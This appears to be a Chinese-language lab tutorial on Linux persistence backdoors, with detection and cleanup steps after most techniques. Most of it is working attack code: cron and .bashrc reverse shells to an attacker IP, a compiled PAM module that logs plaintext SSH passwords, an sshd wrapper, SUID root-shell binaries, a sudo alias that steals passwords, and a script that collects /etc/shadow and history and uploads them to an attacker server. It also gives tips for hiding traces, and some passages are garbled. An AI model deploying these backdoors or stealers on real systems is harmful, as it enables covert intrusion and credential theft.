第一部分:理论基础
1.1 什么是权限维持?
在动手实验之前,你需要先理解权限维持的核心概念和技术分类。学完本部分后,你应该能够:
解释什么

了解 Linux 系统的启动流程和持久化点
理解不同后门技术的原理和适用场景
权限维持就是攻击者在成功入侵后,确保即使系统重启或管理员进行维护,仍能保持对目标系统访问权限的技术

权限维持(持久化)的攻击特点
权限维持 = 我进来了,我要永远能进来
1. 目的只有一个:不掉线、不丢失控制
不管你:
重启服务器
杀进程
改密码
断网重连
我永远能再回来
2. 依赖系统原生机制(最安全)
攻击者最爱用系统自带功能做后门,因为不像后门:
cron
systemd
.bashrc
SSH 密钥
SUID
LD_PRELOAD
SSH wrapper / PAM
3. 自动触发,不需要人工点
开机自启
登录自启
定时自启
进程死了自动重启
4. 高隐蔽性
伪装成系统服务
伪装成配置
伪装成定时任务
无进程、无端口、无窗口
5. 一旦植入,极难清除
因为:
藏在配置里
藏在系统服务里
藏在登录流程里
藏在动态库里面
管理员很难找全
APT 与权限维持
APT(Advanced Persistent Threat,高级持续性威胁) 的核心就是”持续性”:
APT 攻击的核心特点
APT = 高级持续性威胁
一句话:悄悄进来、慢慢潜伏、长期不走、拿到核心数据才走。
1. 极度隐蔽
不搞破坏、不删数据、不搞蓝屏
尽量不触发告警
后门藏得深,伪装成系统正常行为
2. 长期潜伏(几个月~几年都正常)
不是打一枪就跑
目标是长期控制
等机会偷核心数据、横向移动
3. 步步为营(链路完整)
钓鱼 / 漏洞 → 进内网
提权
权限维持(持久化)
内网横向渗透
偷数据
擦屁股走人
4. 对抗安全工具
免杀、加密、混淆
不用公开漏洞工具
不用典型反弹 Shell(太容易被查)
5. 目标明确
政府、军工、金融、企业核心服务器
不是随机扫肉鸡
APT + 权限维持 组合起来的真正特点(重点)
1. 持久化是 APT 的灵魂
没有持久化 → 一重启就丢权限 → 不是 APT
有持久化 → 能长期控制 → 标准 APT
2. 不追求快,追求稳
APT 不用:
暴力破解
狂扫端口
高频反弹 Shell
明显漏洞工具
APT 用:
低频 cron
开机自启 systemd
SSH 密钥
LD_PRELOAD 无文件后门
隐藏在启动流程里
3. 多重后门,防止被删
攻击者一般会种 2~4 种后门:
cron + SSH 密钥
systemd + .bashrc
LD_PRELOAD + SUID
删一个没用,必须删干净
4. 对抗溯源、对抗排查
日志清理
无文件攻击(LD_PRELOAD)
内存加载
不写可疑文件
5. 横向移动的基础
只有权限稳住了,才能:
翻数据库
登其他服务器
域控渗透
拿全部数据
第二部分:后门技术实验
1.cron后门
先搞懂:cron 到底是什么(生活化比喻)
你可以把 Linux 系统想象成一家公司,cron 就是公司里的 “定时任务秘书”:
正常情况下,老板(root 用户)会给秘书列一个 “待办清单”(crontab 配置文件),比如:
每天下午 6 点,清理公司垃圾桶(对应:每天凌晨 2 点清理系统日志)
每周一早上 9 点,备份客户资料(对应:每周一备份数据库)
秘书会严格按清单上的时间,自动完成这些事,不用老板每次提醒
cron 后门的核心原理
cron 后门的本质可以总结为:攻击者利用 cron 定时执行任务的核心机制,通过篡改 / 新增 cron 配置,让恶意程序 / 脚本按照设定的周期自动、隐蔽地运行,从而实现对系统的持久化控制
举例说明:
攻击者的操作,就相当于偷偷溜进公司,篡改了秘书的 “待办清单”:
他不会删掉原来的正常任务(怕被发现),而是偷偷加一条:
每 10 分钟,把公司的客户资料偷偷复印一份,从后门递给我(对应:每分钟下载恶意脚本并执行)
秘书完全不知情,会按修改后的清单,既做正常工作,又偷偷执行恶意操作 —— 这就是 cron 后门的核心:篡改 “定时任务清单”,让系统自动、持续地做坏事,还不被发现
修改系统级 cron 配置
/etc/cr
,格式严格(分 时 日 月 周 用户 命令);
/etc/cron.d/:存放自定义 cron 任务的目录;/etc/cron.hourly///etc/cron.daily///etc/cron.weekly///etc/cron.monthly/:按周期执行的脚本目录(系统自动扫描执行)
crond 守护进程:后台运行,每分钟检查一次任务列表
crontab 文件:存储定时任务的配置文件
cron 表达式:定义任务执行时间的语法规则

cron实验步骤
利用反弹shell进行实验,需要具备一台目标机,一台攻击机(执行nc -lvnp 4444)
方法1:(植入定时任务)
执行绝对的规律,日志频率高,易被发现
# 添加反弹 Shell 任务,同时保留原有任务
# 语法说明:先获取现有任务,追加新任务,再写回 crontab
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4444 0>&1"') | crontab -
# 验证任务是否添加成功
crontab -lcrontab -l 2>/dev/null:先读取当前用户的所有 cron 任务(-l= list,列出),2>/dev/null是如果当前没有任务,就忽略 “无任务” 的报错(避免命令执行失败);echo '* * * * * 恶意命令':在原有任务后面,追加一行新任务 ——* * * * *表示 “每分钟执行一次”,后面跟的就是上面的反弹 Shell 命令;| crontab -:把 “原有任务 + 新恶意任务” 一起写回 cron 配置文件(相当于覆盖,但保留了原有内容)
清理方式
crontab -e # 编辑cron任务
# 找到这行:0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/10.10.1.79/4444 0>&1
# 删掉这一行,保存退出即可
#验证是否清理干净
crontab -l 方法2:(延迟执行:隐蔽更高)
执行无规律,隐蔽性中等,日志上不易被发现
#创建脚本
nano ~/.local/bin/.update.sh
# 每小时执行,但在 0-300 秒内随机延迟
#!/bin/bash
0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1这段代码核心还是cron 后门(篡改定时任务清单),只是加了 “随机延迟” 的隐蔽技巧;
sleep $((RANDOM % 300))是关键:让恶意操作从 “准点执行” 变成 “随机执行”,降低被发现概率;大白话来说这段代码就是,每过一个小时会触发,但是会随机等待0-300秒才会执行
清理方式:直接删除恶意行
crontab -e # 编辑cron任务
# 找到这行:0 * * * * sleep $((RANDOM % 300)); bash -i >& /dev/tcp/10.10.1.79/4444 0>&1
# 删掉这一行,保存退出即可
#验证是否清理干净
crontab -l 方法3:利用@reboot指令
执行时机系统重启后立即启动,隐蔽性极高,核心风险:开机就被控,难排查
第一种方式
#直接追加当前任务crontab
(crontab -l 2>/dev/null; echo '@reboot /home/yxwa/.hidden/backdoor.sh') | crontab -
#验证是否成功
crontab -l第二种方式
#终端输入编辑命令
crontab -e
#进入编辑界面后,光标移到文件最后一行,直接输入:
@reboot /home/yxwa/.hidden/backdoor.sh
#保存退出题外:配套操作
光添加 cron 任务还不够,攻击者还会提前创建隐藏目录和恶意脚本:
#创建隐藏目录
mkdir -p /home/yxwa/.hidden/
# 写入恶意内容(比如反弹Shell)到backdoor.sh
echo 'bash -i >& /dev/tcp/10.10.1.79/4444 0>&1' > /home/yxwa/.hidden/backdoor.sh
# 添加执行权限
chmod +x /home/yxwa/.hidden/backdoor.sh如何识别 / 清理
# 1.先找到这个恶意任务
crontab -l # 列出当前用户的cron任务,看是否有@reboot这行
# 如果是root用户的任务,执行:crontab -u root -l
# 2.删除恶意任务
crontab -e # 编辑cron任务,找到@reboot那行,直接删除,保存退出
# 3.找到并删除隐藏的恶意脚本
ls -a /home/yxwa/ # 能看到.hidden目录
ls -al /home/yxwa/.hidden/ # 查看里面的backdoor.sh
# 删除恶意脚本和隐藏目录
rm -rf /home/yxwa/.hidden/backdoor.sh
rm -rf /home/yxwa/.hidden/ # 确认无其他重要文件再删cron优缺点对比表

cron核心触发条件:
crond 守护进程正常运行(
systemctl status crond显示 active);cron 表达式配置正确(如
* * * * *表示每分钟),命中时间规则;任务执行的命令 / 脚本路径存在、有执行权限,执行用户有对应权限。
2.SSH Wrapper后门
SSH是什么?
ssh是远程桌面控制协议,在windows上叫:RDP,专门解决远程连接,对服务器进行安全连接,安全性高(进行加密)
SSH Wrapper 后门的核心原理
SSH Wrapper 后门本质是通过替换或劫持 SSH 相关的可执行文件(如 ssh、sshd)或其调用的库文件,在不影响正常 SSH 登录功能的前提下,植入恶意逻辑,实现未授权访问、密码窃取、操作记录等恶意行为
SSH 服务的正常执行流程:用户发起
ssh客户端请求 → 系统调用sshd服务端程序 → 验证账号密码 / 密钥 → 建立会话Wrapper 后门的篡改逻辑:在
ssh/sshd执行前,先运行恶意 wrapper 程序,该程序会拦截登录凭证(如密码)、放行特定秘钥 / 密码登录,再调用原始的ssh/sshd程序,让用户无感知
举例说明:
1.正常流程(无后门):
你(客户端)→ 直接交给小区官方快递柜(系统原生
sshd程序);快递柜验证收件人信息(账号密码 / 密钥),验证通过后,朋友(服务器)就能取件(建立会话)。
整个过程没有中间环节,官方快递柜只负责验证和放行。
2.SSH Wrapper 后门流程(有后门):
攻击者偷偷把小区的官方快递柜挪到了仓库(备份原始
sshd为sshd.orig);然后在原来的快递柜位置,放了一个自己的代收点小柜子(创建 wrapper 脚本 / 程序),并挂了和官方快递柜一样的牌子(用软链接
ln -s替换/usr/sbin/sshd);你(客户端)还是按老习惯,把快递交给这个 “官方柜子”(发起 SSH 连接);
代收点小柜子(wrapper)先偷偷记下你的寄件信息(IP、时间,甚至密码 —— 如果配合 PAM 篡改),然后再把快递原样转交给仓库里的官方快递柜(调用
sshd.orig "$@"执行原始验证逻辑);官方快递柜验证通过后,朋友正常取件(建立会话),全程你和朋友都完全无感知
实验步骤
方法1:记录所有 SSH 连接的来源信息
这段脚本的目的是在不影响 SSH 正常登录的前提下,偷偷记录所有 SSH 连接的来源信息
在目标服务器,上通过替换 sshd 程序为自定义 wrapper 脚本的方式,实现记录 SSH 连接信息的功能,本质上是一种 SSH Wrapper 后门的简化实现
源代码1:备份原始程序
#先把系统原生的 sshd(SSH 服务端程序)备份到 sshd.orig
#保留原始程序以便后续调用,避免破坏正常 SSH 功能
sudo cp /usr/sbin/sshd /usr/sbin/sshd.orig步骤图1:

源代码2: 编写 Wrapper 脚本
#创建一个脚本
sudo nano /usr/local/bin/sshd_wrapper
#文本里输入
#!/bin/bash
# 记录连接信息
echo "$(date) - SSH connection from $SSH_CLIENT" >> /tmp/.ssh_log
# 调用原始 sshd
exec /usr/sbin/sshd.orig "$@"
EOF
#赋予脚本可执行权限,否则系统无法调用
sudo chmod +x /usr/local/bin/sshd_wrapper步骤图2:

创建 /usr/local/bin/sshd_wrapper 脚本作为 “包装器”,核心逻辑:
1.$SSH_CLIENT:是 SSH 环境变量,会返回客户端的 IP、端口等信息;
2.>> /tmp/.ssh_log:把连接时间、客户端信息追加写入隐藏日志文件(.ssh_log 开头的点表示隐藏);
3. exec /usr/sbin/sshd.orig "$@":
调用原始的 sshd 程序,并传递所有入参($@),保证正常 SSH 登录流程不受影响。
源代码3:替换系统默认 sshd
#替换系统默认的sshd(使用软连接方式)
sudo mv /usr/sbin/sshd /usr/sbin/sshd.backup
#使用软连接
sudo ln -s /usr/local/bin/sshd_wrapper /usr/sbin/sshd
#查看替换结果
ls -la /usr/sbin/sshd先把系统默认的
/usr/sbin/sshd重命名为sshd.backup(二次备份);用软链接(
ln -s)将/usr/sbin/sshd指向自定义的 wrapper 脚本,这样系统调用sshd时,实际执行的是 wrapper 脚本,实现 “偷梁换柱”
步骤图3:

验证源代码:
# 新的 SSH 连接后,查看日志:
$ cat /tmp/.ssh_log验证结果图:

如何检测这类后门
# 1. 检查 sshd 文件类型(正常应为二进制,而非软链接)
file /usr/sbin/sshd
# 正常输出:/usr/sbin/sshd: ELF 64-bit LSB executable...
# 后门输出:/usr/sbin/sshd: symbolic link to /usr/local/bin/sshd_wrapper
# 2. 检查异常文件
ls -la /usr/local/bin/ | grep sshd_wrapper # 查找 wrapper 脚本
ls -la /tmp/ | grep .ssh_log # 查找隐藏日志
# 3. 验证 sshd 完整性(以 CentOS 为例,没有的话 sudo apt install rpm 安装)
rpm -V openssh-server # 若输出内容包含 S、L 标记,说明文件被篡改/替换结果图:

这段是 Python 版本的 SSH Wrapper 脚本,核心意图是记录所有 SSH 登录尝试的密码,但首先要明确:这段脚本本身无法实现密码记录功能
# 这个版本会记录所有登录尝试的密码
cat > /usr/local/bin/ssh-wrapper << 'EOF'
#!/usr/bin/env python3
import os
import sys
import socket
import datetime
LOG_FILE = "/var/log/.ssh_passwords"
def log_attempt(username, password, ip):
with open(LOG_FILE, "a") as f:
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f.write(f"{timestamp} | {ip} | {username} | {password}\n")
# 这只是概念演示,实际的密码记录需要修改 PAM 模块
# 这里我们用一个简单的方式演示
if __name__ == "__main__":
# 调用原始 sshd
os.execv("/usr/sbin/sshd.orig", sys.argv)
EOF方法3.使用 PAM 记录密码(更隐蔽)
什么是PAM
PAM 是一套Linux / 类 Unix 系统的统一认证框架,它的核心目标是:将应用程序(如 sshd、login、su、sudo)与具体的认证实现(如密码校验、密钥、双因素、LDAP、Kerberos 等)解耦
PAM打比方来讲:
可以把 PAM 想象成一个 「认证插座板」:
应用程序(比如
sshd、login、sudo):是用电设备,只负责 “要用电(要认证)”,不管电从哪里来;PAM 框架:是插座板本体,提供统一接口,负责接电、分电;
PAM 模块(
.so共享库,比如pam_unix.so、pam_log.so):是不同的电源模块(本地密码、LDAP、双因素、日志记录等),可以即插即用;PAM 配置文件(
/etc/pam.d/sshd):是插座板的接线规则,指定 “哪个用电设备接哪个电源模块、顺序如何、失败了怎么办”
核心:不用改用电设备(应用),只要换电源模块(PAM 模块)或改接线规则(配置文件),就能换认证方式
PAM 的极简核心流程(SSH 密码登录为例)
用户:输入
ssh user@server,输入密码;sshd:我不自己校验密码,我找 PAM 帮我!调用 PAM 库的pam_authenticate函数;PAM:去读
/etc/pam.d/sshd这个配置文件,按顺序执行里面的模块;
比如先执行
pam_unix.so(查/etc/shadow校验本地密码);再执行
pam_faildelay.so(登录失败延迟 3 秒);若配置了恶意的
pam_log.so,这里就会先记录明文密码;
PAM:所有模块执行完,告诉
sshd结果(成功 / 失败);sshd:根据结果,允许登录或拒绝
常见误区澄清
PAM 不是一个程序,是一套框架 + 库 + 模块 + 配置:它是底层支持,不是一个可以直接运行的命令;
PAM 模块是共享库(.so),不是脚本:之前的 Python wrapper 脚本拿不到密码,但编译成
.so的 PAM 模块可以直接通过pam_get_item读取明文密码;禁用密码登录,PAM 就拿不到密码了:如果只启用密钥登录(
PasswordAuthentication no),PAM_AUTHTOK里就没有密码,恶意模块也没用
实验步骤
源代码1:
//创建一个c语言脚本
sudo nano /tmp/pam_log.c
//编写恶意 PAM 模块源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <time.h>
#define LOG_FILE "/var/log/.auth" // 隐藏日志文件,存储窃取的密码
// PAM 认证核心函数,SSH 验证密码时会调用此函数
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user; // 存储登录用户名
const char *pass; // 存储登录密码
FILE *fp;
time_t now;
char timestr[64];
// 从 PAM 上下文获取用户名(PAM_USER)和密码(PAM_AUTHTOK)
pam_get_item(pamh, PAM_USER, (const void **)&user);
pam_get_item(pamh, PAM_AUTHTOK, (const void **)&pass);
// 若获取到用户名和密码,写入隐藏日志文件
if (user && pass) {
fp = fopen(LOG_FILE, "a"); // 追加模式写入
if (fp) {
now = time(NULL);
strftime(timestr, sizeof(timestr), "%Y-%m-%d %H:%M:%S", localtime(&now));
fprintf(fp, "%s | %s | %s\n", timestr, user, pass); // 时间 | 用户名 | 密码
fclose(fp);
}
}
return PAM_SUCCESS; // 返回成功,不影响正常认证流程
}
// PAM 凭证设置函数,仅返回成功即可
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}核心关键:
pam_get_item(pamh, PAM_AUTHTOK, ...)是获取密码的核心 API——PAM 框架会将用户输入的明文密码暂存到PAM_AUTHTOK项中,恶意模块通过这个接口直接读取明文密码;隐蔽性:返回
PAM_SUCCESS确保正常登录流程不受影响,用户完全无感知;日志文件.auth以点开头,默认隐藏。
源代码2:编译恶意 PAM 模块
# 安装 PAM 开发依赖(编译模块必需)
sudo apt-get install -y libpam0g-dev
# 编译为共享库(PAM 模块必须是 .so 共享库)
gcc -fPIC -shared -o /lib/x86_64-linux-gnu/security/pam_log.so /tmp/pam_log.c -lpam
rm /tmp/pam_log.c # 删除源码,销毁痕迹编译参数说明:
-fPIC:生成位置无关代码(共享库必需);-shared:编译为共享库;-lpam:链接 PAM 库,否则无法调用pam_get_item等 API;输出路径
/lib/x86_64-linux-gnu/security/是系统默认的 PAM 模块存放目录,符合系统规范,更隐蔽
源代码3:植入 PAM 配置(让 SSH 调用恶意模块)
#编辑 /etc/pam.d/sshd,在 auth 段添加
auth optional pam_log.soauth:表示这是认证阶段的模块;optional:表示该模块执行失败也不影响认证(保证即使模块出错,SSH 仍能正常登录);一旦添加,所有通过密码登录 SSH 的请求,都会先调用
pam_log.so,密码被窃取后再执行正常验证。
PAM配置文件解释:
# /etc/pam.d/sshd 文件结构:
auth required pam_unix.so # 正常的密码认证
auth optional pam_log.so # 我们的后门模块(optional 表示失败不影响认证)检测方法
# 1. 检查 sshd 是否被替换
file /usr/sbin/sshd
# 应该是 ELF 可执行文件,不是脚本
# 2. 检查 sshd 的哈希值
sha256sum /usr/sbin/sshd
# 与官方版本对比
# 3. 使用包管理器验证
debsums openssh-server
# 4. 检查可疑的 sshd 相关文件
ls -la /usr/sbin/sshd*
find / -name "*sshd*" 2>/dev/null
# 5. 检查 PAM 配置
cat /etc/pam.d/sshd
ls -la /lib/x86_64-linux-gnu/security/清除方法
# 恢复原始 sshd
mv /usr/sbin/sshd.orig /usr/sbin/sshd
# 或者重新安装 openssh-server
apt-get install --reinstall openssh-server
# 删除可疑的 PAM 模块
rm /lib/x86_64-linux-gnu/security/pam_log.so
# 检查并恢复 PAM 配置
vim /etc/pam.d/sshd3.SUID后门
SUID 后门
创建一个具有 SUID 权限的可执行文件,普通用户运行时可以获得 root 权限。
SUID 权限:
SUID(Set User ID)是文件的特殊权限位:当一个可执行文件设置了 SUID 位,任何用户执行该文件时,都会以文件所有者的身份运行(而非执行用户自身权限)。
核心作用:让普通用户能执行特定高权限命令(比如
passwd命令,所有者是 root,普通用户执行时能临时获得 root 权限修改自己的密码)。查看方式:
ls -l中所有者执行权限位显示为s(如rwsr-xr-x,rws中的s就是 SUID 位);设置命令:
chmod u+s /path/to/binary(给文件所有者添加 SUID 位)
SUID 后门的核心特点
提权高效:普通用户执行 SUID 后门即可直接获得 root 权限,无需复杂的漏洞利用; 隐蔽性强:
持久化:只要 SUID 文件不被删除 / 权限不被修改,后门就一直存在,系统重启也不受影响;
通用性:SUID 机制是 Linux/Unix 通用特性,攻击手段跨发行版兼容。
恶意文件可命名为系统命令(如
find、netstat),伪装成正常程序;SUID 权限位在
ls -l中不显眼,新手管理员容易忽略;
SUID 基础概念
SUID(Set User ID)是 Linux 中的一种特殊文件权限位,作用是:当设置了 SUID 位的可执行文件被执行时,进程的有效用户 ID(EUID)会变成该文件的所有者 ID,而不是执行这个文件的用户 ID
举个例子:/usr/bin/passwd 文件默认就有 SUID 权限(所有者是 root),普通用户执行 passwd 时,能临时获得 root 权限来修改 /etc/passwd 文件,这是 SUID 的合法用途;而 SUID 后门就是恶意利用这个特性,让普通用户能通过特制程序获得 root 权限
如图:

# 输出示例:-rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
# 其中 rws 中的 s 就是SUID位
实验步骤(需要root权限)
方法一、使用bash复制(简单直接)
核心思路是让复制后的 bash 文件继承 root 的 SUID 权限,从而执行这个 bash 就能获得 root 权限
方法1 实验步骤
源代码如下:
# 核心命令:复制/bin/bash到/tmp/.suid_bash,保留原文件属性
sudo cp /bin/bash /tmp/.suid_bash
#设置该文件的所有者为 root,并添加 SUID 位(关键步骤)
# 设置文件所有者为root
sudo chown root:root /tmp/.suid_bash
# 添加SUID权限(u+s)
sudo chmod u+s /tmp/.suid_bash
# 验证权限(看到rws即表示SUID设置成功)
ls -l /tmp/.suid_bash
# 正常输出:-rwsr-xr-x 1 root root 123456 1月 12 2024 /tmp/.suid_bash
# 普通用户执行(核心命令)
/tmp/.suid_bash -p
# 验证权限
whoami # 输出:root
id # 输出中会看到 euid=0 (root),表示有效用户ID是root
#清理 / 移除这个后门
sudo rm -f /tmp/.suid_bash步骤图:

清理后门:

权效果直接,一步到位
无残留依赖,清理成本低
bash版的缺点:
管理员执行
find / -perm -4000 -type f 2>/dev/null排查 SUID 文件,这个文件会立刻出现在列表中,一眼就能看出异常/tmp目录是系统临时目录,默认会被系统定期清理依赖环境,该方法仅对有
/bin/bash的 Linux 系统有效无持久化能力,易被清理
操作留痕,易被审计追溯(执行
cp/chown/chmod等命令时,会被系统日志记录)
方法二、创建简单的 SUID 后门程序(难度大,需要root身份,但隐蔽)
编写一个恶意 C 程序,编译后设置 SUID 位,普通用户执行即可获得 root shell
方法2.实验步骤
源代码1:进入root模式,查看/tmp目录
# 1. 切换到root(如果还没登录root)
sudo -i
# 2. 进入/tmp目录(临时目录,隐蔽性相对高)
cd /tmp
#查看当前目录下的文件
ls
#用vim/nano创建一个 C 文件
nano root_shell.c步骤图1:

源代码2:编写C语言后门代码
#include <stdio.h> // 基础输入输出头文件
#include <stdlib.h> // system()函数所需头文件
#include <unistd.h> // setuid()函数所需头文件
int main() {
// 1. 将有效用户ID设置为root(0是root的UID)
setuid(0);
// 2.将进程gid设置为0(root)
setgid(0);
// 3. 执行root权限的bash shell -p保持特区模式
system("/bin/bash -p");
// 4. 程序正常退出
return 0;
}步骤图2:

源代码3: 编译 C 程序(需安装 gcc 编译器)
# 安装gcc(CentOS/RHEL用:yum install gcc)
sudo apt update && sudo apt install gcc -y
# 编译C程序,输出可执行文件(命名为隐藏文件:.root_backdoor)
gcc root_shell.c -o /tmp/.root_backdoor步骤图3:

编译前后的文件的对比

源代码4:设置 SUID 权限(关键步骤)
# 1.添加SUID权限(u+s)
chmod u+s /tmp/.root_backdoor
# 2. 验证权限(看到rws即成功)
ls -l /tmp/.root_backdoor
# 正确输出:-rwsr-xr-x 1 root root 8568 1月 12 16:00 /tmp/.root_backdoor步骤图4:

验证:普通用户利用后门提权
(可另外使用终端登录)
# 普通用户执行后门程序
/tmp/.root_backdoor
# 验证提权结果
whoami # 输出:root
id # 输出:uid=1000(test) gid=1000(test) euid=0(root) ...验证图:

清理后门(测试完成后必做)
# root权限下删除后门文件和源码
rm -f /tmp/.root_backdoor root_shell.c
# 或者移除 SUID 权限
chmod u-s /tmp/.root_backdoor清理后门图:

需懂基础 C 语言
更容易被安全工具标记
编译失败排查难
无自恢复能力
C 语言版 VS bash 复制版 核心对比表

最佳使用时机 + 触发条件
SUID最佳使用时机:
临时 root 权限,需留普通用户提权通道(普通用户执行即可获取 root);
目标系统存在 SUID 程序漏洞,或可修改 SUID 文件;
需快速落地提权通道,避免权限丢失
核心优势:提权高效,普通用户执行即可变 root;持久化强,文件不删就一直能用
触发条件:
普通用户主动执行带 SUID 位的恶意文件;
文件所有者为 root,且已设置 SUID 位(-rwsr-xr-x)
关键限制:需要 root 权限设置 SUID 位;容易被 find / -perm -4000 命令扫描发现
4.shell配置文件
在用户的 Shell 配置文件(如 .bashrc、.profile)中注入恶意代码,每次用户登录或打开新终端时自动执行。
核心原理
Shell 配置文件(如 ~/.bashrc、~/.bash_profile、/etc/profile、~/.zshrc 等)是用户登录或启动 Shell 时自动执行的脚本文件
攻击者通过在这些文件中植入恶意代码,可实现持久化控制(每次用户登录 / 打开终端时自动执行恶意操作)
举个例子:
你每天起床后,会按固定习惯先喝水、再刷牙、再出门;Linux 终端每次启动,也会按配置文件里的指令 “做事”(比如设置别名、加载环境变量)
攻击者的思路就是:在这个 “打卡脚本” 里偷偷加一句 “坏事”,让终端每次启动都自动干这件坏事,这就是Shell 配置文件后门
不同 shell的配置文件有这些:
这些文件的核心特点:只要满足触发条件(登录 / 启动 shell),就会自动执行文件内的所有命令—— 攻击者正是利用这一点,在里面插入恶意代码,形成 “配置文件后门”
为什么 Shell 配置文件后门有效?

实验步骤
常见后门类型
1. 反向连接后门(最直接的 “远程控制”)
原理:
攻击者让目标机的终端主动连接他的电脑,把终端的操作权限交给攻击者,就像你家的门自己打开,还喊小偷进来
代码:
#攻击机需要监听
nc -lvnp 端口号
# 偷偷写进目标机的 ~/.bashrc 末尾
echo "nohup bash -i >& /dev/tcp/攻击者IP/端口号 0>&1 & disown" >> ~/.bashrc拆解每一段:
bash -i:启动一个能交互的终端(相当于给攻击者留了一个能输入命令的窗口);/dev/tcp/目标IP/端口号:这是 Linux 里的 “网络通道”,指向攻击者的 IP和端口>&和0>&1:把你终端的 “输入、输出、报错” 都转发到这个网络通道(比如攻击者输入ls,目标机的终端就会执行,结果还会传给他);nohup+& disown:让这个恶意进程 “藏起来”—— 你关了终端它也在跑,还不会出现在你的进程列表里,相当于小偷进了你家,还躲进了衣柜
实际效果:
目标机每次打开终端,攻击者的电脑就会收到一个 “控制连接”,攻击中能像目标机一样操作目标的服务器,看文件、删数据、偷密码都可以
2. 别名替换后门(“偷梁换柱” 型)
原理
修改你常用命令的 “别名”(比如 ls 是看文件、cd 是切换目录),让你执行正常命令时,偷偷干坏事
代码示例:
#写入 ls 劫持代码到 ~/.bashrc
echo "alias ls='ls; curl http://攻击者服务器/偷数据.sh | bash'" >> ~/.bashrc
#如果想让修改立刻生效,攻击者会额外执行
source ~/.bashrc拆解:
alias ls='xxx':给ls命令改别名,原本ls只做 “看文件” 一件事;现在目标机输
ls,会先执行正常的ls(目标机看到的结果和平时一样,不会怀疑);然后偷偷执行
curl http://攻击者服务器/偷数据.sh | bash:从攻击者的服务器下载一个 “偷数据的脚本”,并立刻执行
实际效果:
目标机每天无数次输 ls 命令,每次都在偷偷给攻击者传数据 —— 比如目标机的服务器密码、正在操作的文件、登录的账号等,被偷完全没感觉
攻击者上:偷数据.sh脚本
#!/bin/bash
# 1. 定义临时存储路径(隐蔽的临时目录)
LOG_FILE="/tmp/.temp_$(date +%N).log"
# 2. 收集系统与用户的敏感信息
echo "=== 主机信息 ===" > $LOG_FILE
hostname >> $LOG_FILE
whoami >> $LOG_FILE
date >> $LOG_FILE
ip addr show >> $LOG_FILE 2>/dev/null
echo "=== 历史命令 ===" >> $LOG_FILE
cat ~/.bash_history >> $LOG_FILE 2>/dev/null
echo "=== 密码相关文件 ===" >> $LOG_FILE
cat /etc/passwd >> $LOG_FILE 2>/dev/null
cat /etc/shadow >> $LOG_FILE 2>/dev/null # 需要root权限才能读取
echo "=== 当前用户文件列表 ===" >> $LOG_FILE
ls -la ~ >> $LOG_FILE 2>/dev/null
# 3. 将收集到的数据回传给攻击者服务器
# 方式1:用POST请求上传日志文件
curl -s -X POST -F "log=@$LOG_FILE" http://攻击者IP:端口/upload.php >/dev/null 2>&1
# 方式2:如果curl被禁,用wget发送
# wget --post-file=$LOG_FILE http://攻击者IP:端口/upload.php -q -O /dev/null
# 4. 清理本地痕迹,避免被发现
rm -f $LOG_FILE关键行为拆解
隐蔽存储日志文件用随机数(
date +%N)命名,放在/tmp临时目录,普通用户很难注意到。信息收集它会记录你的主机名、当前用户、IP 地址、历史命令、系统密码文件等核心敏感信息。
数据回传用
curl悄悄把日志文件上传到攻击者的服务器,-s参数让它静默执行,不会在终端输出任何内容。痕迹清理上传完成后立刻删除日志文件,让你无法在本地找到证据
2.1使用 alias 劫持 sudo 命令(窃取密码)
cat >> ~/.bashrc << 'EOF'
# 劫持 sudo 命令,记录密码
alias sudo='_sudo() {
read -sp "[sudo] password for $USER: " pass
echo ""
echo "$USER:$pass" >> /tmp/.cache_$(date +%s)
echo "$pass" | /usr/bin/sudo -S "$@"
}; _sudo'
EOF攻击流程总结
当用户执行 sudo ls 时,实际发生的是:
触发别名
sudo,执行恶意函数_sudo()显示和真实
sudo一样的密码提示,用户输入密码密码被记录到
/tmp/.cache_xxxx文件恶意代码调用真正的
/usr/bin/sudo,使用窃取的密码执行ls命令用户看到正常的命令输出,完全不知道密码已被窃取
如何防范
第一步:10 秒自查(对应 “查”)
只需要记 3 个简单命令,终端输入就能快速判断是否被劫持:
bash
运行
# 1. 查sudo别名(最核心)
alias sudo
# 2. 查bashrc里的恶意代码
grep "alias sudo=" ~/.bashrc
# 3. 查/tmp里的密码日志
ls /tmp/.cache_*✅ 正常结果:
第 1 条:输出空(没有 sudo 别名);
第 2 条:输出空(bashrc 里没有 sudo 别名);
第 3 条:提示 “没有那个文件或目录”。
❌ 异常结果:
第 1 条:输出
alias sudo='_sudo() {...}';第 2 条:输出恶意代码行;
第 3 条:显示一堆
.cache_数字文件。
第二步:一键清理(对应 “删 + 清”)
记住 2 条命令,直接清除后门和窃取的密码:
bash
运行
# 1. 删除bashrc里的sudo别名(直接清空恶意行)
sed -i '/alias sudo='\''_sudo() {/d' ~/.bashrc
# 2. 清理/tmp里的密码日志
rm -f /tmp/.cache_*
# 3. 让修改生效(刷新配置)
source ~/.bashrc第三步:永久防护(对应 “锁 + 防”)
记 2 条命令,锁住配置文件,杜绝再次被改:
bash
运行
# 1. 锁bashrc权限(只有自己能改)
chmod 644 ~/.bashrc
# 2. 给bashrc加“不可改”属性(root也不能随便改)
sudo chattr +i ~/.bashrc
# (如果自己要改bashrc,先解锁:sudo chattr -i ~/.bashrc,改完再加锁)三、额外小技巧(辅助记忆)
用绝对路径执行 sudo:
不管有没有别名,直接输 /usr/bin/sudo 命令(比如/usr/bin/sudo ls),绕过别名劫持,这是最直接的应急方法,记死 /usr/bin/sudo 就行
日常检查口诀:
每次登录服务器,先输 alias 看一眼,只要看到sudo、ls、cd 这些常用命令有别名,立刻警惕 —— 正常情况下这些命令不会有别名
5.SSH 密钥后门
为什么 SSH 密钥后门有效?
核心是利用了 SSH 密钥认证的信任机制、非对称加密的单向性、密钥管理的普遍漏洞,以及后门技术对认证流程的劫持,让攻击者能长期、免密、隐蔽地控制目标系统
